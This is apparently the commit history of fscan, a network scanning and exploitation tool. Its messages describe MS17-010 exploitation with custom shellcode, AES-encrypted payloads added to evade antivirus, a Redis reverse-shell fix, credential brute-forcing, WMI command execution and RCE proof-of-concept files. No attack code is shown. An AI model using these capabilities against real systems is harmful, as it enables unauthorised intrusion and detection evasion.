356 Commits
Author SHA1 Message Date
影舞者 40b6dbcd1c Merge pull request #395 from ZacharyZcR/main
Fscan 2.0.0 完整代码重构、新增本地信息搜集插件
2024-12-19 23:02:18 +08:00
影舞者 59cc462467 Update Eval.go 2024-12-19 23:01:17 +08:00
影舞者 1bafa4d6f5 Update Eval.go 2024-12-19 22:59:28 +08:00
影舞者 01ae22119d Update Rules.go 2024-12-19 22:42:38 +08:00
影舞者 45a861d4f1 Update WebTitle.go 2024-12-19 22:41:07 +08:00
影舞者 c3c413ebc0 Update WMIExec.go 2024-12-19 22:40:19 +08:00
影舞者 1cfedda2ce Update SmbGhost.go 2024-12-19 22:38:32 +08:00
影舞者 08ba177f52 Update SMB2.go 2024-12-19 22:36:49 +08:00
影舞者 346ece01f6 Update SMB.go 2024-12-19 22:35:53 +08:00
影舞者 95d806d4a9 Update RDP.go 2024-12-19 22:34:49 +08:00
影舞者 f3ba1acd75 Update Postgres.go 2024-12-19 22:34:09 +08:00
影舞者 e34b737b87 Update Oracle.go 2024-12-19 22:33:31 +08:00
影舞者 96798b6fa3 Update NetBIOS.go 2024-12-19 22:32:11 +08:00
影舞者 8837f61197 Update MySQL.go 2024-12-19 22:31:09 +08:00
影舞者 8984ae52a3 Update Mongodb.go 2024-12-19 22:30:29 +08:00
影舞者 d6349a9d88 Update Memcached.go 2024-12-19 22:29:55 +08:00
影舞者 2969cac802 Update MSSQL.go 2024-12-19 22:29:23 +08:00
影舞者 de076d1a13 Update MS17010.go 2024-12-19 22:28:29 +08:00
影舞者 75cd097e35 Update FindNet.go 2024-12-19 22:27:28 +08:00
影舞者 1418487735 Update FcgiScan.go 2024-12-19 22:26:48 +08:00
影舞者 39dabbfb9e Update SSH.go 2024-12-19 22:25:49 +08:00
影舞者 035bf862a3 Update FTP.go 2024-12-19 22:23:59 +08:00
影舞者 5c05965967 Update ICMP.go 2024-12-19 22:17:09 +08:00
影舞者 6ee7bab188 Update ruoyi-management-fileread.yml 2024-12-19 20:39:51 +08:00
影舞者 2c1bdd98ee Update yonyou-u8-oa-sqli.yml 2024-12-19 20:20:43 +08:00
影舞者 ce211fef78 Update ruoyi-management-fileread.yml 2024-12-19 20:16:49 +08:00
影舞者 97b205f4a7 Update seeyon-a6-test-jsp-sql.yml 2024-12-19 20:15:32 +08:00
ZacharyZcR 7dbb6b652f docs: 添加插件编写指南 2024-12-19 19:51:43 +08:00
ZacharyZcR a0c648c5a2 version: 2.0.0版本更新 2024-12-19 19:40:40 +08:00
ZacharyZcR 1deeb8bb71 refactor: 重构SSH扫描部分,超时生效 2024-12-19 19:31:32 +08:00
ZacharyZcR 85778a9773 perf: 优化部分输出 2024-12-19 19:30:54 +08:00
ZacharyZcR c8687827ac refacor: 结构化修改 2024-12-19 16:15:53 +08:00
ZacharyZcR 0cfbf40baf fix: Log.go文件的已知错误 2024-12-19 16:11:04 +08:00
ZacharyZcR b14510fa52 version: 2.0.0版本更新 2024-12-19 15:25:41 +08:00
ZacharyZcR b857dd4fa7 refacor: 结构化更改 2024-12-19 15:24:10 +08:00
ZacharyZcR fc94e4ee0d perf: 优化SmbGhost.go的代码,添加注释,规范输出 2024-12-19 15:14:54 +08:00
ZacharyZcR dfc84e9813 perf: 优化插件打印信息 2024-12-19 15:13:38 +08:00
ZacharyZcR 6a84d0cf8a refacor: 大小写敏感 2024-12-19 14:54:15 +08:00
ZacharyZcR 38ea172e26 refacor: 大小写敏感 2024-12-19 14:52:11 +08:00
ZacharyZcR 2ce84dc517 perf: 优化Shiro.go的代码,添加注释,规范输出 2024-12-19 14:50:05 +08:00
ZacharyZcR 7f62d4a835 perf: 优化Check.go的代码,添加注释,规范输出 2024-12-19 14:49:58 +08:00
ZacharyZcR 9296ad0846 perf: 优化WebScan.go的代码,添加注释,规范输出 2024-12-19 14:49:52 +08:00
ZacharyZcR 6d499dae10 perf: 优化InfoScan.go的代码,添加注释,规范输出 2024-12-19 14:49:45 +08:00
ZacharyZcR 4d3ccba255 perf: 优化Eval.go的代码,添加注释,规范输出 2024-12-19 14:26:30 +08:00
ZacharyZcR 02eb3d6f7a perf: 优化Client.go的代码,添加注释,规范输出 2024-12-19 14:26:20 +08:00
ZacharyZcR 6a33a65c94 perf: 优化WebTitile.go的代码,添加注释,规范输出 2024-12-19 14:15:58 +08:00
ZacharyZcR d860eb63b3 perf: 优化WMIExec.go的代码,添加注释,规范输出 2024-12-19 14:15:49 +08:00
ZacharyZcR b1883ca707 perf: 优化Redis.go的代码,添加注释,规范输出 2024-12-19 14:09:23 +08:00
ZacharyZcR 468447861c perf: 优化FindNet.go输出格式 2024-12-19 14:09:04 +08:00
ZacharyZcR 88d3fe489d perf: 优化Base.go输出格式 2024-12-19 14:08:53 +08:00
ZacharyZcR 728f6c78b5 fix: 修复一个命名Bug 2024-12-18 23:41:01 +08:00
ZacharyZcR 0349952dd1 perf: 优化RDP.go的代码,添加注释,规范输出 2024-12-18 23:40:47 +08:00
ZacharyZcR 352cbd44be perf: 优化Postgre.go的代码,添加注释,规范输出 2024-12-18 23:40:41 +08:00
ZacharyZcR cd6809e775 perf: 优化PortScan.go的代码,添加注释,规范输出 2024-12-18 23:40:35 +08:00
ZacharyZcR 79343b1722 perf: 优化Oracle.go的代码,添加注释,规范输出 2024-12-18 23:40:26 +08:00
ZacharyZcR 5cc6687248 perf: 优化MySQL.go的代码,添加注释,规范输出 2024-12-18 23:40:19 +08:00
ZacharyZcR dd8514784e perf: 优化Mongodb.go的代码,添加注释,规范输出 2024-12-18 23:40:11 +08:00
ZacharyZcR 6a452d5959 perf: 优化Memcached.go的代码,添加注释,规范输出 2024-12-18 23:40:03 +08:00
ZacharyZcR 35fc0fadc5 perf: 优化MSSQL.go的代码,添加注释,规范输出 2024-12-18 23:39:45 +08:00
ZacharyZcR ec30b0d2a4 perf: 优化MS17010.go的代码,添加注释,规范输出 2024-12-18 23:39:37 +08:00
ZacharyZcR e39363dce0 perf: 优化MS17010-Exp.go的代码,添加注释,规范输出 2024-12-18 23:39:29 +08:00
ZacharyZcR 59e5b88600 perf: 优化ICMP.go的代码,添加注释,规范输出 2024-12-18 23:39:18 +08:00
ZacharyZcR 23fea2c290 perf: 优化FindNet.go的代码,添加注释,规范输出 2024-12-18 23:39:13 +08:00
ZacharyZcR 5ad4c1a580 perf: 优化FTP.go的代码,添加注释,规范输出 2024-12-18 23:38:49 +08:00
ZacharyZcR 8d5806e456 perf: 优化Base.go的代码,添加注释,规范输出 2024-12-18 23:38:24 +08:00
ZacharyZcR 66125a3a2d perf: 优化Flag.go的代码,添加注释,规范输出 2024-12-18 22:25:22 +08:00
ZacharyZcR 1d0676e508 perf: 优化Log.go的代码,添加注释,规范输出 2024-12-18 22:24:11 +08:00
ZacharyZcR 9433741471 perf: 优化Proxy.go的代码,添加注释,规范输出 2024-12-18 22:20:45 +08:00
ZacharyZcR ec346409f7 perf: 优化ParsePort.go的代码,添加注释,规范输出 2024-12-18 22:19:40 +08:00
ZacharyZcR 56c4453c7f perf: 优化ParseIP.go的代码,添加注释,规范输出 2024-12-18 22:17:08 +08:00
ZacharyZcR 0eeda0879d perf: 优化Parse.go的代码,添加注释,规范输出 2024-12-18 22:06:38 +08:00
ZacharyZcR 5d9bcaaadc refactor: 规范化文件命名 2024-12-18 22:00:18 +08:00
ZacharyZcR ab14b15864 refactor: 重构涉及文件更新 2024-12-18 21:56:08 +08:00
ZacharyZcR cae98e7d90 refactor: 重构映射 2024-12-18 21:55:39 +08:00
ZacharyZcR f35a259f11 refactor: SSH模块重构 2024-12-18 15:19:53 +08:00
ZacharyZcR e15f8e8cc0 refactor: SMB2模块重构 2024-12-18 15:19:47 +08:00
ZacharyZcR 42908d3319 refactor: SMB模块重构 2024-12-18 15:19:41 +08:00
ZacharyZcR 77d59c1e6b refactor: ScanType部分重构 2024-12-18 15:19:27 +08:00
ZacharyZcR 02dfcebcc5 refactor: Scanner Scan函数重构 2024-12-18 15:18:58 +08:00
ZacharyZcR 624ab9bab0 feat: .gitignore 2024-12-18 15:18:38 +08:00
ZacharyZcR 5ad5af884e feat: 添加localinfo模块 2024-12-18 15:18:18 +08:00
shadow1ng 3dfd2e9e30 update 2024-10-25 16:41:19 +08:00
shadow1ng d01df95dba update 2024-08-29 15:12:30 +08:00
shadow1ng 513bb93e1b update 2024-08-29 09:50:32 +08:00
shadow1ng e433c635dd GitHub action go-version: 1.20.14 2024-06-15 17:10:56 +08:00
shadow1ng 509f53f4b3 降级go-ora到v2.5.29,避免混淆工具编译失败 2024-05-27 16:00:33 +08:00
shadow1ng d470a91d55 优化报错处理 2024-05-11 16:09:14 +08:00
shadow1ng a11b769603 Merge remote-tracking branch 'origin/main' 2024-05-11 16:04:48 +08:00
shadow1ng 1d9b6528dd 优化报错处理 2024-05-11 16:04:02 +08:00
影舞者 0fd6658bce Merge pull request #341 from LI-Mingyu/main
Fix #334
2024-04-19 15:11:03 +08:00
Mingyu Li 15f3864db2 Fix #334
Fix #334 redis反弹shell在ubuntu系统下出现
`-ERR Changing directory: No such file or directory`
2024-04-18 01:24:15 +08:00
影舞者 eefd29d102 Merge pull request #329 from scyxdd/fix-webtitle
修复获取WebTitle的Bug
2024-01-15 16:31:14 +08:00
scyxdd 66671cd4cf 修复获取WebTitle的Bug 2024-01-15 16:22:40 +08:00
shadow1ng 19d969acd2 屏蔽go内部库报错日志 2023-12-25 17:57:28 +08:00
影舞者 276b446e0c Update 2023-11-15 12:07:25 +08:00
影舞者 15cdc19097 Update 2023-11-15 10:40:17 +08:00
影舞者 197b0884a1 Update 2023-11-15 00:02:28 +08:00
影舞者 0cf8b8c180 Update 2023-11-14 23:06:49 +08:00
影舞者 c5adbdb551 Update 2023-11-14 18:33:26 +08:00
影舞者 5dc1c4ee5e Update 2023-11-13 17:41:54 +08:00
影舞者 1c631133ad Update 2023-11-13 16:23:19 +08:00
影舞者 6bf396d09f Update 1.8.3 2023-11-13 12:42:02 +08:00
影舞者 7f7ae9dc65 Merge pull request #298 from a-urth/main
Add colored output
2023-11-13 11:59:44 +08:00
影舞者 b46090d196 Update check.go 2023-11-13 11:59:04 +08:00
影舞者 f51291512c Update check.go 2023-11-13 11:57:13 +08:00
影舞者 7eb2bccde7 Update check.go 2023-11-13 11:56:35 +08:00
影舞者 5cc16fe079 Update go.sum 2023-11-13 11:53:32 +08:00
影舞者 af1c30a86e Update go.mod 2023-11-13 11:53:08 +08:00
影舞者 2ca79f2979 Update README.md 2023-11-13 11:50:59 +08:00
影舞者 490a272e4b Update main.go 2023-11-13 11:48:21 +08:00
影舞者 362d23e577 Update config.go 2023-11-13 11:47:33 +08:00
影舞者 464128cdee Update proxy.go 2023-11-13 11:43:24 +08:00
影舞者 57eeb41453 Update flag.go 2023-11-13 11:42:04 +08:00
影舞者 989389fd52 Update log.go 2023-11-13 11:41:26 +08:00
影舞者 5d154ce6a1 Update ParseIP.go 2023-11-13 11:37:53 +08:00
影舞者 59983affb7 Update Parse.go 2023-11-13 11:36:13 +08:00
影舞者 29acfb166b Update eval.go 2023-11-13 11:34:42 +08:00
影舞者 53c1b3232a Update client.go 2023-11-13 11:34:23 +08:00
影舞者 608b2e2c87 Update client.go 2023-11-13 11:32:28 +08:00
影舞者 99d526d7d0 Update check.go 2023-11-13 11:31:30 +08:00
影舞者 5ff8b781c8 Update WebScan.go 2023-11-13 11:28:58 +08:00
影舞者 468381fb18 Update wmiexec.go 2023-11-13 11:28:15 +08:00
影舞者 268f7d2aed Update webtitle.go 2023-11-13 11:27:34 +08:00
影舞者 6cd1ee75f5 Update ssh.go 2023-11-13 11:27:01 +08:00
影舞者 29beca41d0 Update smb2.go 2023-11-13 11:24:44 +08:00
影舞者 dd1fc49f01 Update smb.go 2023-11-13 11:18:25 +08:00
影舞者 acd5a1a8bb Update scanner.go 2023-11-13 11:17:46 +08:00
影舞者 0d717d6676 Update redis.go 2023-11-13 11:16:12 +08:00
影舞者 52c680af0d Update postgres.go 2023-11-13 10:56:54 +08:00
影舞者 8bcbdf1f38 Update rdp.go 2023-11-13 10:56:24 +08:00
影舞者 21f9320ba8 Update portscan.go 2023-11-13 10:53:56 +08:00
影舞者 e2afd85cca Update oracle.go 2023-11-13 10:52:44 +08:00
影舞者 dc945ccf0e Update mysql.go 2023-11-13 10:52:11 +08:00
影舞者 54ba490246 Update mssql.go 2023-11-13 10:51:41 +08:00
影舞者 5e99a7910e Update ms17010.go 2023-11-13 10:50:59 +08:00
影舞者 d5afffafa2 Update ms17010-exp.go 2023-11-13 10:50:28 +08:00
影舞者 0efbd87920 Update mongodb.go 2023-11-13 10:48:18 +08:00
影舞者 88745f55a7 Update memcached.go 2023-11-13 10:47:36 +08:00
影舞者 9d02632dcc Update icmp.go 2023-11-13 10:45:48 +08:00
影舞者 dc0dd7a469 Update ftp.go 2023-11-13 10:43:11 +08:00
影舞者 1773fcbfcc Update findnet.go 2023-11-13 10:41:46 +08:00
影舞者 22d6e16785 Update fcgiscan.go 2023-11-13 10:40:04 +08:00
影舞者 afe9a0228f Update NetBIOS.go 2023-11-13 10:29:43 +08:00
影舞者 019544cd07 Update NetBIOS.go 2023-11-13 10:24:07 +08:00
影舞者 fddfd08d01 Update CVE-2020-0796.go 2023-11-13 10:22:32 +08:00
影舞者 8573f8c233 Merge pull request #303 from SleepingBag945/main
修复findnet中文主机名乱码
2023-11-13 10:02:36 +08:00
影舞者 9f12983f34 修复findnet中文主机名乱码 2023-11-13 10:02:12 +08:00
影舞者 eac7f93fcc 设置tls最低版本为1.0 2023-11-13 09:48:54 +08:00
影舞者 5242388522 Merge remote-tracking branch 'origin/main' 2023-11-13 09:45:59 +08:00
影舞者 79fa3a8920 设置tls最低版本为1.0 2023-11-13 09:45:39 +08:00
SleepingBag945 2d10162749 修复findnet中文主机名乱码 2023-08-28 03:58:19 +02:00
Andrii Ursulenko a2a4afc41d Merge pull request #2 from artemkomyshan/refactoring
Translation in main
2023-07-26 12:39:37 +03:00
ph 96b7a93034 Translation in main 2023-07-26 12:35:34 +03:00
Andrii Ursulenko 1e01f27a99 Merge pull request #1 from artemkomyshan/refactoring
Refactoring
2023-07-26 12:19:49 +03:00
ph 31aba615ba Merge remote-tracking branch 'au/main' into refactoring 2023-07-26 12:10:27 +03:00
Andrii Ursulenko 18937e1e4a add colored output 2023-07-18 13:43:11 +03:00
影舞者 4cc65afe14 Merge pull request #280 from dksslq/main
输出格式调整
2023-06-29 21:26:32 +08:00
dksslq 430e4e9640 Merge branch 'shadow1ng:main' into main 2023-06-29 21:08:50 +08:00
影舞者 1ce7f4e517 Merge pull request #292 from ruishawn/dev1
fix: add field names to struct literal
2023-06-28 16:48:06 +08:00
xiaobo 8a788427b7 fix: add field names to struct literal 2023-06-26 18:15:09 +08:00
noname 29b746ee80 flags to struct 2023-06-09 08:13:56 -04:00
au 04a7ba1357 initial cleanup 2023-06-05 19:02:55 +03:00
dksslq db38dbdcc7 Add space 2023-05-24 19:57:25 +08:00
dksslq f0cb31a6d2 Remove unused spaces 2023-05-24 19:53:17 +08:00
dksslq d151ea2c7f Remove unused space 2023-05-24 19:49:52 +08:00
dksslq 7bf79b60af Update NetBIOS.go 2023-05-24 19:44:42 +08:00
dksslq 5c119e97ae Add some spaces 2023-05-24 19:43:05 +08:00
影舞者 4cfe02ac2c Merge pull request #272 from wgpsec/main
修复自动化编译问题
2023-05-10 11:18:53 +08:00
影舞者 e14bc5ca14 Merge pull request #260 from Zh0um1/main
支持mongodb6.0未授权扫描
2023-05-10 11:18:30 +08:00
keacwu 857c4c0d4b 修复自动化编译问题 2023-05-09 13:42:17 +08:00
影舞者 58890cd5e6 update 2023-05-05 23:31:28 +08:00
影舞者 978511a7ef update 2023-05-05 21:02:31 +08:00
影舞者 c492386977 优化poc模块正则Set-Cookie时的结果 2023-05-05 18:13:33 +08:00
影舞者 98300cbc9c 优化poc模块正则Set-Cookie时的结果 2023-05-05 18:08:13 +08:00
影舞者 0f01d63d8a 优化poc模块正则Set-Cookie时的结果 2023-05-05 18:06:19 +08:00
影舞者 ecb0cd9e5f Merge pull request #265 from AgeloVito/main
Update eval.go
2023-02-22 16:29:41 +08:00
AgeloVito 7d77fa9016 Update eval.go
1、新增randomString,大小写和数字随机
2、修改randomUppercase(),变量命令不规范
2023-02-22 16:13:51 +08:00
Zh0um1 b401b896f4 支持mongodb6.0未授权扫描 2023-02-04 06:56:16 +00:00
影舞者 eb5558e6d9 Merge pull request #252 from ruishawn/dev2
fix: 精简打印日志模块冗余代码
2022-12-14 09:58:09 +08:00
影舞者 79d44e00b3 Merge pull request #254 from ruishawn/dev5
Doc: add English Readme
2022-12-14 09:56:39 +08:00
xiaobo ecc362d660 feat: add English Readme 2022-12-13 20:10:34 +08:00
xiaobo ccdaef3486 fix: 精简打印日志模块冗余代码 2022-12-13 17:13:31 +08:00
影舞者 abd2ba0947 update readme 2022-12-05 10:30:19 +08:00
影舞者 6c6f522bc9 修改文件保存路径设置 2022-11-30 10:49:02 +08:00
影舞者 27c7e3977e 修改文件保存路径设置 2022-11-28 13:23:24 +08:00
影舞者 f8b44e37ea update 2022-11-21 15:04:35 +08:00
影舞者 1d2fa6c470 Use aes encryption to store payloads to avoid AV detection 2022-11-21 11:33:02 +08:00
影舞者 384bb326c0 Use aes encryption to store payloads to avoid AV detection 2022-11-21 10:38:40 +08:00
影舞者 4c254b019a Merge pull request #237 from NKingpp/main
Use aes encryption to store payloads to avoid AV detection
2022-11-21 10:37:11 +08:00
影舞者 6e9b6cf2f6 Update ms17010.go 2022-11-21 10:36:11 +08:00
影舞者 1166e24092 Update ms17010-exp.go 2022-11-21 10:35:00 +08:00
影舞者 a9d05604f5 Merge remote-tracking branch 'origin/main' 2022-11-21 09:44:58 +08:00
影舞者 41f8d3abad 加入hash碰撞、wmiiexec无回显命令执行 2022-11-21 09:44:44 +08:00
影舞者 b1f550daaf update 2022-11-19 17:22:56 +08:00
影舞者 ae86f08432 Merge remote-tracking branch 'origin/main'
# Conflicts:
#	Plugins/webtitle.go
#	WebScan/WebScan.go
#	WebScan/pocs/Hotel-Internet-Manage-RCE.yml
2022-11-19 17:05:25 +08:00
影舞者 3e8f23466d 加入hash碰撞、wmiiexec无回显命令执行 2022-11-19 17:04:13 +08:00
影舞者 9d4d67e523 Merge pull request #240 from ruishawn/main
fix: 优化扫描输出,扫描结果结尾换行
2022-11-02 17:41:06 +08:00
xiaobo fc416545a3 fix: 优化扫描输出,扫描结果结尾换行 2022-11-02 17:29:12 +08:00
kingpp 769fc59fd1 Use aes encryption to store payloads to avoid AV detection 2022-10-22 10:55:44 +08:00
影舞者 38e48ba420 Merge pull request #225 from evilAdan0s/main
去除弱特征:过时UA头
2022-09-02 11:38:41 +08:00
影舞者 076e001217 Update tongda-meeting-unauthorized-access.yml 2022-09-02 11:37:51 +08:00
影舞者 f981cf22e8 Update Hotel-Internet-Manage-RCE.yml 2022-09-02 11:37:36 +08:00
evilAdan0s 2e46d1adb6 '替换过时的UA头' 2022-09-02 11:26:06 +08:00
影舞者 4908720acb socks代理时,自动-np 2022-08-16 15:10:09 +08:00
影舞者 98569648bb 增加-dns参数启用dnslog poc 2022-08-16 11:18:09 +08:00
影舞者 9b0f12c31a update go.mod 2022-08-01 14:19:55 +08:00
影舞者 e705b33830 update 2022-07-15 15:21:52 +08:00
影舞者 3f8fd82674 默认跳过dnslog的poc 2022-07-14 16:03:11 +08:00
影舞者 3ba0a2abd3 -hf 支持host:port和host/xx:port格式 2022-07-14 12:19:16 +08:00
影舞者 6f9e49a572 -hf 支持host:port和host/xx:port格式 2022-07-14 12:04:47 +08:00
影舞者 c717094158 update 2022-07-14 11:14:20 +08:00
影舞者 023fa19a48 rule.Search 正则匹配范围从body改成header+body 2022-07-11 16:50:32 +08:00
影舞者 ed96a8dd89 -nobr不再包含-nopoc.优化webtitle 输出格式 2022-07-11 14:38:47 +08:00
影舞者 45008bcbfc update 2022-07-07 15:06:54 +08:00
影舞者 740ce8552a update 2022-07-07 15:04:59 +08:00
影舞者 cd423c88d1 update reademe.md 2022-07-06 21:50:48 +08:00
影舞者 fe937ec056 update reademe.md 2022-07-06 21:48:49 +08:00
影舞者 30df6b651f 加入手工gc回收,尝试节省无用内存。
-url 支持逗号隔开。
修复一个poc模块bug。
2022-07-06 21:42:00 +08:00
影舞者 6e5642c508 update README.md 2022-07-05 12:59:23 +08:00
影舞者 2a6491808d update README.md 2022-07-05 12:50:28 +08:00
影舞者 0146a941cf update README.md 2022-07-05 12:49:04 +08:00
影舞者 67f30bf4e3 Merge pull request #197 from u21h2/main
使用毫秒作为随机数种子,避免生成的ceye子域名相同,导致反连平台误报
2022-07-03 23:53:47 +08:00
影舞者 f2239b6c9f 减少pocinfo结构体大小 2022-07-03 23:48:06 +08:00
影舞者 b9b5eb9ce4 减少info结构体大小 2022-07-03 23:41:39 +08:00
U21H2 4b596180a3 Update check.go
使用毫秒作为随机数种子,避免生成的ceye子域名相同
2022-07-03 23:07:25 +08:00
影舞者 8e1db5995e 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。 2022-07-02 17:25:15 +08:00
影舞者 b1d85833a7 update 2022-06-26 19:54:38 +08:00
影舞者 fdffb369c9 update 2022-06-13 10:27:23 +08:00
影舞者 a2573e10bb Merge remote-tracking branch 'origin/main' 2022-05-26 11:28:35 +08:00
影舞者 198abff115 update 2022-05-26 11:23:19 +08:00
影舞者 cf9389e879 Merge pull request #174 from jindaxia/main
poc: add f5 big-ip cve-2022-1388 poc
2022-05-19 17:43:17 +08:00
jindaxia 85e636fcea fix: 修复2022-188的poc
header里面Connection属性keep-alive后面的逗号","
使得后面的x auth token字段解析出现错误, 从而绕过验证
2022-05-19 17:34:57 +08:00
jindaxia 2cef5c66d6 poc: add f5 big-ip cve-2022-1388 poc 2022-05-19 11:02:50 +08:00
影舞者 11fb239c61 update 2022-05-12 17:56:32 +08:00
影舞者 4915539fb3 fix bug 2022-05-12 11:56:01 +08:00
影舞者 55825f3b7c Merge pull request #170 from ccreater222/main
update proxy timeout
2022-05-09 14:52:55 +08:00
ccreater c67d09371f Merge branch 'main' of github.com:ccreater222/fscan 2022-05-09 13:27:25 +08:00
ccreater 9f27655182 beautify 2022-05-09 13:26:42 +08:00
影舞者 0b8c0ccc96 Update webtitle.go 2022-05-09 12:27:05 +08:00
影舞者 5bb7502ba3 Merge pull request #169 from ccreater222/main
添加了socks5支持
2022-05-09 12:11:09 +08:00
影舞者 ab60c985a6 Update client.go 2022-05-09 12:08:29 +08:00
ccreater 5c112e0ca8 fix bug 2022-05-08 02:19:41 +08:00
ccreater 6f15f835f0 handle error 2022-05-08 00:16:58 +08:00
ccreater d774023da7 add socks5 support 2022-05-07 23:46:22 +08:00
影舞者 df527adda9 -h 支持域名 2022-04-28 17:08:52 +08:00
影舞者 2d496cafc9 -h 支持域名 2022-04-28 17:02:48 +08:00
影舞者 584771114d add lock 2022-04-27 11:49:16 +08:00
影舞者 5dcb789e33 update image 2022-04-27 11:49:16 +08:00
影舞者 bb544cfbf3 update README.md 2022-04-21 09:56:07 +08:00
影舞者 c4950e2a93 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程 2022-04-20 17:54:45 +08:00
影舞者 4c51ae1f2a poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程 2022-04-20 17:45:27 +08:00
影舞者 d1ff89676d 取消webscan模块60s超时,减少漏报 2022-03-11 16:13:31 +08:00
影舞者 9527fcf0c7 update 2022-02-28 10:35:50 +08:00
影舞者 a01599ee7c 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito 2022-02-25 16:49:17 +08:00
影舞者 c64c64477b 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito 2022-02-25 15:29:45 +08:00
影舞者 2ebda8baa9 update webtitle 2022-02-17 14:37:06 +08:00
影舞者 ed99ee0fad add向日葵指纹 2022-02-16 16:48:02 +08:00
影舞者 0b8e1ddaf9 update 2022-02-11 09:30:50 +08:00
影舞者 ddf824b985 update 2022-02-09 10:09:41 +08:00
影舞者 8acb02dc30 update go.mod 2022-01-15 14:07:39 +08:00
影舞者 c594f9f350 update go.sum 2022-01-14 16:52:59 +08:00
影舞者 e24168e895 update go.mod 2022-01-13 13:38:53 +08:00
影舞者 3b23c93c35 新增oracle密码爆破 2022-01-11 10:30:00 +08:00
影舞者 c59a5c3553 新增oracle密码爆破 2022-01-11 10:26:06 +08:00
影舞者 6db53c8cea update 2022-01-10 23:15:40 +08:00
影舞者 ebf990eca0 update nobr 2022-01-10 16:48:28 +08:00
shadow1ng 9b6596315e update 2022-01-08 14:46:26 +08:00
shadow1ng bdeaae9dcf update webscan timeout 2022-01-08 13:31:52 +08:00
影舞者 a56144d84a update http 2022-01-07 17:58:34 +08:00
影舞者 49a3b94c53 update http 2022-01-07 17:45:13 +08:00
影舞者 c3fc054912 update http 2022-01-07 16:59:05 +08:00
影舞者 205021afec update http 2022-01-07 16:54:23 +08:00
影舞者 dbb6f43fc1 新增LiveTop功能,检测存活时,默认会输出top10的b、c段ip存活数量 2022-01-07 14:56:48 +08:00
影舞者 0b22898547 新增LiveTop功能,检测存活时,默认会输出top10的b、c段ip存活数量 2022-01-07 13:46:09 +08:00
影舞者 6ce60284bc 新增LiveTop功能,检测存活时,默认会输出top10的b、c段ip存活数量 2022-01-07 13:38:38 +08:00
影舞者 60cd94d459 ip/8时,只探测部分机器 2022-01-07 11:06:06 +08:00
影舞者 b80ea1316f ip/8时,只探测部分机器 2022-01-07 10:51:36 +08:00
影舞者 d1bcc60bcb updata go.sum 2021-12-08 16:45:51 +08:00
影舞者 17544b375b 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口) 2021-12-07 17:28:56 +08:00
影舞者 edb6920622 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口) 2021-12-07 17:20:49 +08:00
影舞者 e1a4bfabfc 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口) 2021-12-07 17:06:50 +08:00
影舞者 f71b4ab68f Merge pull request #121 from Dawnnnnnn/feature/add-upx-compress
feat(*): add `upx --best` for most elf
2021-12-07 14:50:47 +08:00
dawnnnnnn bd0bcb4b66 feat(*): add upx --best for most elf 2021-12-06 17:42:25 +08:00
影舞者 b93df1ab20 update readme 2021-12-03 10:58:47 +08:00
影舞者 dc634f9184 update 2021-12-03 10:21:47 +08:00
影舞者 e875f4f930 fix bug 2021-12-03 09:30:03 +08:00
影舞者 6807508b69 update 2021-12-01 15:25:09 +08:00
影舞者 4a34745091 优化ip解析模块 2021-12-01 15:22:48 +08:00
影舞者 e49e6dd433 增加爆破关闭参数 -nobr 2021-11-25 10:16:39 +08:00
影舞者 dd00ec7bac 优化xray解析模块,支持groups、新增poc 2021-11-16 15:04:53 +08:00
影舞者 b06d7ac94c 优化xray解析模块,支持groups、新增poc 2021-11-16 14:42:35 +08:00
影舞者 858c28724b Merge pull request #110 from Dawnnnnnn/function/goreleaser
新增Github-Action打包及一个敏感端口(10250)
2021-11-08 16:32:20 +08:00
dawnnnnnn e56713fdf0 feat(*): add k8s port 10250 scan 2021-11-08 15:03:55 +08:00
dawnnnnnn c4446ee357 ci(*): add goreleaser ci
support

windows-amd64/386
linux-amd64/386/arm64/mips64
darwin-amd64/arm64
etc.
2021-11-08 15:00:19 +08:00
影舞者 10d4b19897 Update ms17010.go 2021-10-14 15:51:52 +08:00
影舞者 21180c3da8 Update config.go 2021-10-13 09:39:58 +08:00
影舞者 30d1e6d9ca Update scanner.go 2021-10-13 09:36:10 +08:00
影舞者 e9292dc7ad update 2021-10-13 09:29:24 +08:00
影舞者 70f1c6bd71 Rename ms17017.go to ms17010.go 2021-10-11 18:09:32 +08:00
影舞者 5f981089a1 -hf ip.txt,遇到解析失败后进行跳过,代替原有的退出 2021-10-11 17:58:26 +08:00
影舞者 dc267a5335 添加功能,跳过某些ip扫描,-hn 192.168.1.1/24 2021-09-14 12:16:01 +08:00
影舞者 37f53e3f16 update 2021-09-13 17:19:36 +08:00
影舞者 734f8520fc update 2021-09-13 15:07:21 +08:00
影舞者 53df72db02 add zabbix-default-password.yml 2021-09-13 10:33:14 +08:00
影舞者 842ee37594 add License.txt 2021-09-12 14:38:28 +08:00
影舞者 b4e33c5127 update ParseUser() 2021-09-11 16:43:38 +08:00
影舞者 0733c10a05 加入https判断(tls握手包) 2021-09-10 22:43:50 +08:00
影舞者 297aba6c4f 更新指纹、优化内存占用 2021-09-10 21:07:50 +08:00
影舞者 d5665f03d6 更新指纹、优化内存占用 2021-09-10 20:32:51 +08:00
影舞者 2e452a9695 Merge pull request #94 from NAXG/main
修改拼写
2021-09-08 15:17:50 +08:00
影舞者 07633cb24d Merge pull request #92 from Richard-Tang/main
修改拼写
2021-09-08 15:09:58 +08:00
刘德华 5104cb9980 update ParseIP.go 2021-09-05 20:53:08 +08:00
RichardTang 24d8cc775c 修改拼写错误
SprintBoot拼写错误,修正为SpringBoot。
2021-09-01 22:53:10 +08:00
影舞者 922da8f168 Update ruijie-rce-cnvd-2021-09650.yml 2021-08-31 11:17:46 +08:00
影舞者 65df3de81d 添加免责声明 2021-08-30 15:18:05 +08:00
影舞者 71ff6e9a0c Update README.md 2021-08-06 13:34:55 +08:00
影舞者 dc949e25b1 Merge pull request #79 from lanyi1998/main
修复两个线程阻塞的问题
